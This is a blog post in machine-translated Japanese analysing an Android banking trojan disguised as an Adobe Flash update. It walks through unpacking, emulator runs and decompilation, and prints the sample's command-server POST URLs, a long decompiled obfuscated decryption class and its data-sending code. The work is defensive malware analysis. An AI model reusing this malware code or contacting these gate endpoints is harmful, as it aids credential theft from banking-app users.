Androidウイルスの研究

みなさんこんにちは。 最近、 valdikssがAndroidウイルスについて教えてくれました。Androidウイルスは、ユーザーが十分に注意を怠ると、ユーザーに大きな損害を与える可能性があります。 彼の内面を知りたかった 多かれ少なかれ最近、Androidアプリケーションの予約に携わっていますが、まだウイルスを調べたことはありません。 それを検討する前に、すぐにファイルの名前に気づきました-android_update-1.apk。 私が最初に行うことは、各Android Rescherが行うことです-それはdex2jarで解凍します(まあ、WinRARでファイルのリストを見ることができます)。



dex2jar



dex2jarでファイルを展開すると、美しいjarファイルができました。 私は喜んでJD-GUIでそれを見るために急いだ。



画像



しかし、残念なことに、JD-GUIは結果のファイルを完全に逆コンパイルできませんでしたが、ファイルの最後に興味深い行がありました。



画像



2つのオプションがあります:「中国起源」のウイルス、またはエンコードエラー。 結論を出すのは時期尚早だと思います。



Winrar



ご存知のように、APKはAndroid用のアーカイブされた実行可能ファイルアプリケーションの形式です。 APKアーカイブに含まれているファイルのリストは、WinRARで簡単に表示できます。



画像



一見、特別なことは何もありませんが、開発者はアセットフォルダーにローカルファイル(HTMLページ、写真、一般に、アプリケーションからプルできるローカルリソース)を保存することを知っています。



画像



そこで、classes.dexファイルを見つけました。 Classes.dex-展開すると、Android向けアプリケーションのソースコードを取得する(幸運なら)コンテナー。 標準では、classes.dexファイルは次のバイトで始まる必要があります。



465780a30333500
      
      





ASCIIの内容はdex.035です。

しかし、assets \ classes.dexファイルは次のように始まりました。



 117c4bfe7ef19880
      
      





明示的に暗号化されています。 マルウェアのロジックはすでに現れ始めています。 スマートフォンにダウンロードしてapkを実行すると、それがインストールされ、そのリソースからclasses.dexファイルが取得され、暗号化が解除され、(論理的に)何らかの新しいapkが受信され、メイン機能が実行されます。



すべてがどのように機能するかを完全に理解するには、マルウェアのダイナミクスの影響を調べる必要があります。 実際のデバイスで実行-自殺。 Genymotionをエミュレーターとして使用しましたが、エミュレーターとしての利点については説明しません。すべてがここに記載されています 。 また、Genymotionと一緒に、Android Studio(以降AS)1.2を使用します(調整された作業を説明する言葉はありません)。 Android StudioとGenymotionを起動すると、adbを使用して通信します。 Android Studioでは、アプリケーション(この場合はマルウェア)のログを見ると便利です。



apkをインストールすると、奇妙なエラーが発生しました。



画像



「すべてが、マルウェアが落ちた、それが開始される可能性は低い」と思った。 OKをクリックしました。 私は部分的にそれがどのように機能するかを知っていたので、設定->セキュリティ->デバイス管理者に行き、それが正常に機能することを確認し、管理者に自分自身を登録し、通知しました、彼は私に尋ねませんでした:このアプリをインストールしますか? そのような権利とそのような権利を使用します。



管理者からそれを削除しようとすると(チェックボックスをクリックすると、赤でマークされます)、ウィンドウがポップアウトします:







非アクティブ化ボタンをクリックすると、驚きが待っています-アプリケーションを削除できません。







わかった ネットワークトラフィックを見てみましょう。突然どこかで何かを送信します。 エミュレータのWiFi接続で、プロキシを配置してエミュレータを再起動します。 だから私は考えた-ネットワーク活動があります



 POST http://abra-k0dabra.com/magic/gate.php?a=1&b=000000000000000&c=Android&d=us&e=15555215554&f=0.1&g=4.1.1&prefix=pussy HTTP/1.1 Content-Length: 0 Host: abra-k0dabra.com Connection: Keep-Alive
      
      





そして



 POST http://avtesterr.com/venussa/gate.php?a=1&b=000000000000000&c=Android&d=us&e=15555215554&f=0.1&g=4.1.1&prefix=pussy HTTP/1.1 Content-Length: 0 Host: avtesterr.com Connection: Keep-Alive
      
      





POSTリクエストの本文が空です。



ASでlogcatを開いて、このアプリケーションが突然ログに何かを書き込むかどうかを確認しましょう。 私たちは幸運です:



 04-09 13:18:04.703 8122-8122/com.adobe.jaguar:jaguar_prot D/dalvikvm﹕ DexOpt: --- BEGIN 'new.apk' (bootstrap=0) --- 04-09 13:18:04.719 8122-8122/com.adobe.jaguar:jaguar_prot D/dalvikvm﹕ DexOpt: --- END 'new.apk' (success) --- 04-09 13:18:04.719 8122-8122/com.adobe.jaguar:jaguar_prot D/dalvikvm﹕ DEX prep '/data/data/com.adobe.jaguar/app_dex/new.apk': unzip in 0ms, rewrite 13ms 04-09 13:18:04.739 8122-8122/com.adobe.jaguar:jaguar_prot D/dalvikvm﹕ DexOpt: --- BEGIN 'new.apk' (bootstrap=0) --- 04-09 13:18:04.771 8122-8122/com.adobe.jaguar:jaguar_prot D/dalvikvm﹕ DexOpt: --- END 'new.apk' (success) --- 04-09 13:18:04.771 8122-8122/com.adobe.jaguar:jaguar_prot D/dalvikvm﹕ DEX prep '/data/data/com.adobe.jaguar/app_dex/new.apk': unzip in 1ms, rewrite 34ms 04-09 13:19:34.487 3061-3061/com.adobe.jaguar D/﹕ HostConnection::get() New Host Connection established 0xb8420b50, tid 3061
      
      





その結果、マルウェアはリソースからasset / classes.dexファイルを取得し、それを復号化して/data/data/com.adobe.jaguar/app_dex/new.apkに書き込みます。



だから その主な機能を確認するには、new.apkファイルをキャッチする必要があります。 Androidに総司令官をインストールし、/ data / data / com.adobe.jaguar / app_dex /に移動します。 フォルダーは空であることが判明しました。new.apkを開始すると、ファイルは削除されます。 質問が発生しました:それを取得する方法? 最初に、/ data / data / com.adobe.jaguar / app_dex /フォルダーをループで監視し、マルウェアがこのファイルを再度作成するときに、アプリケーションがそれをコピーし、最終的にそれを見つけます本当にそうです。 いくつかの問題について私は怠け者です。 少し考えてから、/ data / data / com.adobe.jaguar / app_dex /フォルダーの権限を試すことにしました。ここでも幸運でした-彼はnew.apkファイルを作成してクラッシュしました。



new.apkをAndroidからコピーし、dex2jarで解凍し、JD-GUIを使用して逆コンパイルします。







再び象形文字...作成したファイルをluytenで開くことにしましたが、JD-GUIは何かを正しく逆コンパイルできません。





はい、私は正しかった、これらは象形文字ではありませんが、暗号文、解読する機能を見つけましたが、すべてのapkからこのクラスのみが難読化され、luytenもそれに落ちました。 別の逆コンパイラーがあります-DJ Java Decompiler、それはグラフィックスと緊密であるため、プロジェクト全体ではなく個々のクラスを表示するためにのみ使用します。 彼は、いわば逆コンパイルすることができましたが、残念ながら、復号化がどのように行われているかを理解できませんでした。



復号化を担当するクラス(一目でAESのコードを見るとうれしいですが、事実ではありません):



復号化クラス
 // Decompiled by DJ v3.12.12.96 Copyright 2011 Atanas Neshkov Date: 09.04.2015 17:11:59 // Home Page: http://members.fortunecity.com/neshkov/dj.html http://www.neshkov.com/dj.html - Check often for new version! // Decompiler options: packimports(3) package com.adobe.cfg; import android.content.Context; import android.content.SharedPreferences; import java.lang.reflect.Method; public class h { private static final int a(int i, int j) { int _tmp = j + i >> 24; return i >>> j | i << -j; } private static final int a(byte abyte0[], int i) { int j; byte byte0; j = abyte0[14] << 16; byte0 = 0; _L6: byte byte1 = 0; if(byte0 != 0) goto _L2; else goto _L1 _L1: int l; byte0 = 3; l = i & 0xff; int i1; byte byte3; i1 = 0xff & abyte0[l] | (0xff & abyte0[0xff & i >> 8]) << 8 | (0xff & abyte0[0xff & i >> 16]) << 16; byte3 = abyte0[0xff & i >> 24]; j = i1 | byte3 << 24; _L4: return j; Exception exception; exception; _L2: if(byte1 != 0) goto _L4; else goto _L3 _L3: int k; byte1 = 2; k = i & 0x7f; byte byte2 = abyte0[k]; return byte2 >> 8; Exception exception1; exception1; if(true) goto _L6; else goto _L5 _L5: } static final String a(String s) { int ai1[]; int ai2[]; int ai3[]; int ai4[]; int ai5[]; byte abyte0[]; char ac[]; int j1; int k1; int l1; int i2; boolean flag; if(a == null) a(); Object aobj[] = (Object[])(Object[])((Method)a[8]).invoke(((Method)a[7]).invoke(null, null), null); StringBuilder stringbuilder = new StringBuilder(); stringbuilder.append(((Method)a[10]).invoke(aobj[((Integer)a[12]).intValue()], null)); int i = stringbuilder.append(((Method)a[11]).invoke(aobj[((Integer)a[12]).intValue()], null)).toString().hashCode(); int ai[] = (int[])(int[])a[6]; int j = i ^ ai[0]; int k = i ^ ai[1]; int l = i ^ ai[2]; int i1 = i ^ ai[3]; ai1 = (int[])(int[])a[5]; ai2 = (int[])(int[])a[1]; ai3 = (int[])(int[])a[2]; ai4 = (int[])(int[])a[3]; ai5 = (int[])(int[])a[4]; abyte0 = (byte[])(byte[])a[0]; ac = (char[])(char[])((Method)a[9]).invoke(s, null); j1 = l; k1 = k; l1 = j; i2 = i1; flag = false; _L16: if(flag) goto _L2; else goto _L1 _L1: int j2 = ac.length; int k2 = 0; _L17: if(k2 >= j2) goto _L2; else goto _L3 _L3: if(k2 % 8 != 0) break MISSING_BLOCK_LABEL_1336; int l2; int i3; int j3; int k3; l2 = l1 ^ ai1[0]; i3 = k1 ^ ai1[1]; j3 = j1 ^ ai1[2]; k3 = i2 ^ ai1[3]; int l3 = 4; _L5: if(l3 >= 36) break; /* Loop/switch isn't completed */ int i4; int j4; int k4; int l4; i4 = ai2[0xff & l2] ^ ai3[0xff & i3 >> 8] ^ ai4[0xff & j3 >> 16] ^ ai5[k3 >>> 24] ^ ai1[l3]; j4 = ai2[i3 & 0xff] ^ ai3[0xff & j3 >> 8] ^ ai4[0xff & k3 >> 16] ^ ai5[l2 >>> 24] ^ ai1[l3 + 1]; k4 = ai2[j3 & 0xff] ^ ai3[0xff & k3 >> 8] ^ ai4[0xff & l2 >> 16] ^ ai5[i3 >>> 24] ^ ai1[l3 + 2]; l4 = ai2[k3 & 0xff] ^ ai3[0xff & l2 >> 8] ^ ai4[0xff & i3 >> 16] ^ ai5[j3 >>> 24] ^ ai1[l3 + 3]; int i5 = l3 + 4; l2 = ai2[i4 & 0xff] ^ ai3[0xff & j4 >> 8] ^ ai4[0xff & k4 >> 16] ^ ai5[l4 >>> 24] ^ ai1[i5]; i3 = ai2[j4 & 0xff] ^ ai3[0xff & k4 >> 8] ^ ai4[0xff & l4 >> 16] ^ ai5[i4 >>> 24] ^ ai1[i5 + 1]; j3 = ai2[k4 & 0xff] ^ ai3[0xff & l4 >> 8] ^ ai4[0xff & i4 >> 16] ^ ai5[j4 >>> 24] ^ ai1[i5 + 2]; k3 = ai2[l4 & 0xff] ^ ai3[0xff & i4 >> 8] ^ ai4[0xff & j4 >> 16] ^ ai5[k4 >>> 24] ^ ai1[i5 + 3]; l3 = i5 + 4; if(true) goto _L5; else goto _L4 _L4: int j5; int k5; int l5; int i6; j5 = ai2[0xff & l2] ^ ai3[0xff & i3 >> 8] ^ ai4[0xff & j3 >> 16] ^ ai5[k3 >>> 24] ^ ai1[l3]; k5 = ai2[i3 & 0xff] ^ ai3[0xff & j3 >> 8] ^ ai4[0xff & k3 >> 16] ^ ai5[l2 >>> 24] ^ ai1[l3 + 1]; l5 = ai2[j3 & 0xff] ^ ai3[0xff & k3 >> 8] ^ ai4[0xff & l2 >> 16] ^ ai5[i3 >>> 24] ^ ai1[l3 + 2]; i6 = ai2[k3 & 0xff] ^ ai3[0xff & l2 >> 8] ^ ai4[0xff & i3 >> 16] ^ ai5[j3 >>> 24] ^ ai1[l3 + 3]; int j6 = l3 + 4; int k6; int l6; l1 = 0xff & abyte0[j5 & 0xff] ^ (0xff & abyte0[0xff & k5 >> 8]) << 8 ^ (0xff & abyte0[0xff & l5 >> 16]) << 16 ^ abyte0[i6 >>> 24] << 24 ^ ai1[j6 + 0]; k1 = 0xff & abyte0[k5 & 0xff] ^ (0xff & abyte0[0xff & l5 >> 8]) << 8 ^ (0xff & abyte0[0xff & i6 >> 16]) << 16 ^ abyte0[j5 >>> 24] << 24 ^ ai1[j6 + 1]; j1 = 0xff & abyte0[l5 & 0xff] ^ (0xff & abyte0[0xff & i6 >> 8]) << 8 ^ (0xff & abyte0[0xff & j5 >> 16]) << 16 ^ abyte0[k5 >>> 24] << 24 ^ ai1[j6 + 2]; k6 = 0xff & abyte0[i6 & 0xff] ^ (0xff & abyte0[0xff & j5 >> 8]) << 8 ^ (0xff & abyte0[0xff & k5 >> 16]) << 16 ^ abyte0[l5 >>> 24] << 24; l6 = ai1[j6 + 3]; i2 = l6 ^ k6; byte byte0 = 0; _L18: if(byte0 != 0) goto _L7; else goto _L6 _L6: byte0 = 3; k2 % 8; JVM INSTR tableswitch 0 7: default 1566 // 0 1400 // 1 1420 // 2 1437 // 3 1457 // 4 1474 // 5 1494 // 6 1511 // 7 1531; goto _L7 _L8 _L9 _L10 _L11 _L12 _L13 _L14 _L15 _L8: ac[k2] = (char)(l1 >> 16 ^ ac[k2]); goto _L7 _L9: ac[k2] = (char)(l1 ^ ac[k2]); goto _L7 _L10: ac[k2] = (char)(k1 >> 16 ^ ac[k2]); goto _L7 _L11: ac[k2] = (char)(k1 ^ ac[k2]); goto _L7 _L12: ac[k2] = (char)(j1 >> 16 ^ ac[k2]); goto _L7 _L13: ac[k2] = (char)(j1 ^ ac[k2]); goto _L7 _L14: ac[k2] = (char)(i2 >> 16 ^ ac[k2]); goto _L7 _L15: ac[k2] = (char)(i2 ^ ac[k2]); goto _L7 _L2: return new String(ac); Throwable throwable; throwable; flag = true; goto _L16 _L7: k2++; goto _L17 Throwable throwable1; throwable1; goto _L18 } public static String a(String s, String s1, Context context) { return context.getSharedPreferences(s, 4).getString(s1, null); } private static final void a() { int ai[]; byte abyte0[]; int ai1[]; int ai2[]; int ai3[]; int ai4[]; int ai5[]; byte byte0; ai = new int[256]; abyte0 = new byte[256]; ai1 = new int[256]; ai2 = new int[256]; ai3 = new int[256]; ai4 = new int[256]; ai5 = new int[30]; int i = 0; int j = 1; for(; i < 256; i++) { ai[i] = j; j ^= j << 1 ^ 283 * (j >>> 7); } abyte0[0] = 99; byte0 = 0; _L18: if(byte0 != 0) goto _L2; else goto _L1 _L1: int j3 = 0; _L4: int i5; if(j3 >= 255) break; /* Loop/switch isn't completed */ i5 = 255 - j3; int j5 = ai[i5]; int k5 = j5 | j5 << 8; abyte0[ai[j3]] = (byte)(0x63 ^ (k5 ^ (k5 >> 4 ^ k5 >> 5 ^ k5 >> 6 ^ k5 >> 7))); j3++; if(true) goto _L4; else goto _L3 _L5: int k3; if(k3 >= 256) break MISSING_BLOCK_LABEL_6536; int l3 = 0xff & abyte0[k3]; int j4; int i4 = l3 << 1 ^ 283 * (l3 >>> 7); j4 = -1 & (i4 ^ ((l3 ^ i4) << 24 ^ l3 << 16 ^ l3 << 8)); ai1[k3] = j4; ai2[k3] = j4 << 8 | j4 >>> -8; ai3[k3] = j4 << 16 | j4 >>> -16; ai4[k3] = j4 << 24 | j4 >>> -24; k3++; goto _L5 _L7: int l4; if(l4 >= 30) goto _L2; else goto _L6 _L6: int k4; ai5[l4] = k4; k4 = k4 << 1 ^ 283 * (k4 >>> 7); l4++; goto _L7 _L2: byte abyte1[]; byte abyte2[]; byte abyte3[]; int k; abyte1 = new byte[16]; abyte2 = (new byte[] { -43, 29, -111, 88, -115, 77, 34, 28, -101, 103, 85, 104, 109, 124, -104, -72, -18, 125, -60, 43, -49, 101, 37, 15, 126, 29, -14, -89, -22, 99, -76, 50, 45, 36, 71, 52, 54, 63, -47, -110, -30, 83, -76, 80, -105, -53, 53, 96, 9, -93, 10, -54, -64, -96, 123, 113, -112, 25, -68, -108, 13, -24, -115, 77, 28, 63, 4, -98, 21, -122, -3, 60, 88, -90, -26, -46, -85, 55, -118, -58, 16, -67, 37, 71, 55, -77, 82, -15, 6, 102, -78, 102, 66, -74, -33, 88, -114, -123, 56, 47, -18, 104, 26, 17, -97, -16, -4, 8, 108, -95, -103, 46, 79, -81, -35, -57, 18, 15, 81, -17, 41, -24, 16, 35, 66, -109, 6, 15, 109, 41, -19, 122, -59, -34, -38, -104, 20, 51, -69, -58, 119, -59, 23, 12, 35, 6, -76, 51, -41, -35, 99, 69, 117, -91, -92, 104, -80, -42, -83, -5, -106, -116, 118, 102, 125, 104, 115, 54, 24, -109, 121, 1, -35, -4, -115, -48, 15, -10, -6, -34, 108, -70, 17, 97, -35, -111, 58, 101, 30, 101, 120, -32, 22, -46, -86, -19, -102, 85, 114, -124, -80, 14, -54, -67, -46, -83, 2, -120, 93, 22, 125, 83, -94, 64, 48, -91, -35, 39, 124, -69, -17, 114, -72, -100, -113, -28, 33, -21, -66, 71, 76, 84, 0, 51, -84, -20, 32, -75, 76, -86, -96, 9, 42, -56, -74, -99, -42, -16, 19, -123, -44, 85, 1, 9, 117, -43 }); abyte3 = (new byte[] { -123, 111, 49, -125, 114, -78, -100, 115, -64, 12, -13, 92, -112, 46, -70, 9, 47, 2, -102, 112, -70, -71, -56, 94, -21, 83, -102, 49, -120, 75, 53, -38, -65, -14, 78, 111, -60, 46, 108, 77, -21, 119, 102, 48, 40, -68, 16, -126, 96, 28, 84, 95, -46, -84, -4, -110, -35, -124, -14, 93, -114, -73, 43, 112, -3, 102, -127, -47, 15, -90, 100, -11, 26, 102, -119, -82, -50, -16, -53, 79, 27, -30, 73, 12, 28, -72, -46, -27, 68, -59, -52, -66, -54, 42, 64, -13, 79, -86, 91, -61, -52, -51, 57, 121, 67, -70, -112, -74, -87, 35, 67, 33, -92, 58, 2, -37, 127, 11, 49, 19, -59, 33, -106, 83, 45, -52, 39, 60, -42, -80, -89, -47, -68, -124, 90, -74, -23, 81, 68, -112, -41, -20, -55, -38, -16, 48, -33, -82, 109, -81, 78, 52, -112, -121, -44, 23, 107, 37, -65, 22, 22, -4, -37, -63, -124, -41, 45, 96, -93, -104, 81, 79, -11, -72, 78, -55, 110, -93, 15, 72, 60, -27, -84, 126, 114, 68, 102, -55, 38, -98, -87, 45, 36, 75, -15, -55, 7, 100, 114, -39, -1, 119, -87, -102, -79, 76, 93, -56, 9, -100, -33, -65, -55, 70, 43, -125, 24, 124, -73, -46, 92, -121, 101, 122, -41, -11, 109, -52, 63, 65, -65, -87, -107, 112, -74, -63, 70, -78, -37, 0, 85, -7, -82, -92, 34, -24, -75, -18, -44, 38, 68, 49, 76, 50, 123, -105 }); k = 0; _L21: if(k != 0) goto _L9; else goto _L8 _L8: k++; abyte1[0] = abyte2[0xff & abyte3[138]]; abyte1[1] = abyte2[0xff & abyte3[115]]; abyte1[2] = abyte2[0xff & abyte3[203]]; abyte1[3] = abyte2[0xff & abyte3[169]]; abyte1[4] = abyte2[0xff & abyte3[225]]; abyte1[5] = abyte2[0xff & abyte3[93]]; abyte1[6] = abyte2[0xff & abyte3[154]]; abyte1[7] = abyte2[0xff & abyte3[214]]; abyte1[8] = abyte2[0xff & abyte3[205]]; abyte1[9] = abyte2[0xff & abyte3[191]]; abyte1[10] = abyte2[0xff & abyte3[43]]; abyte1[11] = abyte2[0xff & abyte3[149]]; abyte1[12] = abyte2[0xff & abyte3[101]]; abyte1[13] = abyte2[0xff & abyte3[245]]; abyte1[14] = abyte2[0xff & abyte3[221]]; abyte1[15] = abyte2[0xff & abyte3[57]]; _L16: int ai6[]; int l; ai6 = new int[44]; l = 0; _L19: if(l != 0) goto _L11; else goto _L10 _L10: int j1; int k1; int l1; j1 = l + 3; k1 = 0; l1 = 0; _L15: int i2 = 0; _L20: if(i2 != 0) goto _L13; else goto _L12 _L12: i2 += 3; if(l1 >= 16) goto _L13; else goto _L14 _L14: int i3 = 3 & k1 + 4 * (k1 >> 2); ai6[i3] = 0xff & abyte1[l1] | (0xff & abyte1[l1 + 1]) << 8 | (0xff & abyte1[l1 + 2]) << 16 | abyte1[l1 + 3] << 24; l1 += 4; k1++; goto _L15 _L9: abyte1[8] = abyte2[0xff & abyte3[205]]; abyte1[9] = abyte2[0xff & abyte3[191]]; abyte1[10] = abyte2[0xff & abyte3[43]]; abyte1[11] = abyte2[0xff & abyte3[149]]; abyte1[12] = abyte2[0xff & abyte3[101]]; abyte1[13] = abyte2[0xff & abyte3[245]]; abyte1[14] = abyte2[0xff & abyte3[221]]; abyte1[15] = abyte2[0xff & abyte3[57]]; goto _L16 Throwable throwable; throwable; abyte1[8] = abyte2[0xff & abyte3[205]]; abyte1[9] = abyte2[0xff & abyte3[191]]; abyte1[10] = abyte2[0xff & abyte3[43]]; abyte1[11] = abyte2[0xff & abyte3[149]]; abyte1[12] = abyte2[0xff & abyte3[101]]; abyte1[13] = abyte2[0xff & abyte3[245]]; abyte1[14] = abyte2[0xff & abyte3[221]]; abyte1[15] = abyte2[0xff & abyte3[57]]; throw throwable; _L13: int j2 = 4; _L17: int k2; if(j2 >= 44) break; /* Loop/switch isn't completed */ k2 = 4 * (j2 - 1 >> 2) + (3 & j2 - 1); int l2 = ai6[k2]; if(j2 % 4 != 0) break MISSING_BLOCK_LABEL_4507; l2 = a(abyte0, a(l2, 8)) ^ ai5[-1 + j2 / 4]; ai6[4 * (j2 >> 2) + (j2 & 3)] = l2 ^ ai6[4 * (j2 - 4 >> 2) + (3 & j2 - 4)]; j2++; if(true) goto _L17; else goto _L11 _L11: int ai7[] = { 0xe0d51d94, 0x879e5437, 0x27b86eae, 0x222ba2fb }; Object aobj[] = new Object[13]; aobj[0] = abyte0; aobj[1] = ai1; aobj[2] = ai2; aobj[3] = ai3; aobj[4] = ai4; aobj[5] = ai6; aobj[6] = ai7; char ac[] = { '?', '~', '\007', '\271', '\uFFBB', '\271', '\203', '\212', '\002', '\225', '\251', '\320', '\337', '\341', '\uFFF9', '\034', 'Q', '\362', '6', '\235', '4', '\323', '\231', 'c', '\346', '\217', 'W', '\b', 'N', '\312', '\031', '\246', '\200', '\230', '\250', '\227', '\241', '\223', 'C', '\uFFF3', 'E', '\270', '\036', '\261', '\r', ',', 'c', '\314', 'j', '\021', 'q', '\uFFF8', '\023', '\024', '\355', '\332', '\uFFFE', '\200', '0', '\003', 'P', 'P', '\uFFEE', '\277', ']', '\261', 'v', '\uFFFF', '\216', '\uFFF0', '^', '\262', '\271', '\uFFD4', 'R', '3', '\031', '\236', '\uFFB8', '\031', '\204', '\036', '\210', '\262', '\213', '%', '\263', 'T', 'k', '\253', '\036', '\313', '\257', '\033', 'M', '\314', '\uFFF5', '\uFFEA', '\254', 'r', 'Z', '\311', '\215', '\204', '\uFFED', 'Q', 'i', 'm', '\323', '\006', '\r', '{', '\264', '#', 'E', '6', 'v', ']', '\262', '\\', '\216', 'I', '~', '\207', '\264', '\002', 'o', 's', '\233', '\230', '`', '\250', '\030', 'W', 'M', '\f', 'y', '\240', '\013', '8', '\346', '5', '|', '~', '\227', 'o', '\031', '\246', '>', 'B', '\327', '\265', '\332', '\027', '\027', '\321', '#', 'J', '\uFFDB', 'n', '\017', '\uFFFF', '\244', '\312', '\336', '\324', '\351', '\237', '\203', '\uFFC1', '\357', 'n', '\013', 'h', '\uFFF6', '2', 'p', 'd', '^', 'P', '\333', '#', 'u', '\217', 'L', '\004', 'h', '\247', '\223', '\316', '\344', 'D', 'i', '\027', '\uFFFC', '6', '\uFFDB', '\241', '\334', '\uFFE5', '&', 'o', '\uFFF8', ')', '3', '\033', 'i', '\uFFB6', '\260', '\212', '\357', '\274', '\020', '\247', '\230', '\006', 'P', '\217', '\277', '*', 'S', '\327' }; for(int i1 = 0; i1 < ac.length; i1++) ac[i1] = (char)(ac[i1] - abyte2[i1 % abyte2.length]); aobj[7] = Class.forName(String.valueOf(ac, 0, 16)).getMethod(String.valueOf(ac, 16, 13), null); aobj[8] = Class.forName(String.valueOf(ac, 0, 16)).getMethod(String.valueOf(ac, 29, 13), null); aobj[9] = Class.forName(String.valueOf(ac, 42, 16)).getMethod(String.valueOf(ac, 58, 11), null); aobj[10] = Class.forName(String.valueOf(ac, 69, 27)).getMethod(String.valueOf(ac, 96, 12), null); aobj[11] = Class.forName(String.valueOf(ac, 69, 27)).getMethod(String.valueOf(ac, 108, 13), null); Class class1 = Class.forName(String.valueOf(ac, 121, 27)); String s = String.valueOf(ac, 148, 3); Class aclass[] = new Class[1]; aclass[0] = Class.forName(String.valueOf(ac, 42, 16)); Method method = class1.getMethod(s, aclass); Object aobj1[] = new Object[1]; aobj1[0] = String.valueOf(ac, 151, 25); String s1 = (String)method.invoke(null, aobj1); byte byte1; Exception exception; Exception exception1; Exception exception2; Exception exception3; if(s1 != null && s1.hashCode() == 0x145eec8c && android.os.Build.VERSION.SDK_INT < 21) byte1 = 4; else byte1 = 5; aobj[12] = Integer.valueOf(byte1); a = aobj; return; exception3; byte0 = 2; goto _L18 exception; l = j1; goto _L19 exception1; goto _L20 exception2; goto _L21 _L3: k3 = 0; goto _L5 k4 = 1; l4 = 0; goto _L7 } public static void a(String s, String s1, String s2, Context context) { android.content.SharedPreferences.Editor editor = context.getSharedPreferences(s, 4).edit(); editor.putString(s1, s2); editor.commit(); } private static transient Object a[]; }
      
      







ネットワークアクティビティから、POST要求がネットワークを介して送信されることが既にわかっているため、このコードはPOST要求を送信します。



 final HttpURLConnection httpURLConnection = (HttpURLConnection)new URL(s).openConnection(); httpURLConnection.setDoInput(true); httpURLConnection.setDoOutput(true); httpURLConnection.setUseCaches(false); httpURLConnection.setRequestMethod(ha("\ub957\uf4ce\ubf7b\ueadc")); httpURLConnection.setConnectTimeout(60000);
      
      





「\ ub957 \ uf4ce \ ubf7b \ ueadc」-「POST」。



コードの一部のセクションで、名前に4文字の単語が含まれる関数-「bank」を見ました。



これで全体像がわかりました。このマルウェアは、Adobe Flash PlayerのAndroidアップデートを装った銀行のトロイの木馬です。 インストール後、サービスcom.adobe.jaguar:jaguar_bfおよびcom.adobe.jaguar:jaguar_obsが作成されます。 ファイルシステムをスキャンして(new.apkの本文にあるコードを検出)、インストールされている銀行クライアントプログラムを検出します。検出された場合、shared_prefsフォルダーからファイルを読み取り、攻撃者に送信します。



道徳:

1.ルートとクライアントバンクを同じデバイスにインストールしないでください

2.サードパーティのストアからダウンロードしたアプリケーションを信頼しないでください



ご清聴ありがとうございました。



All Articles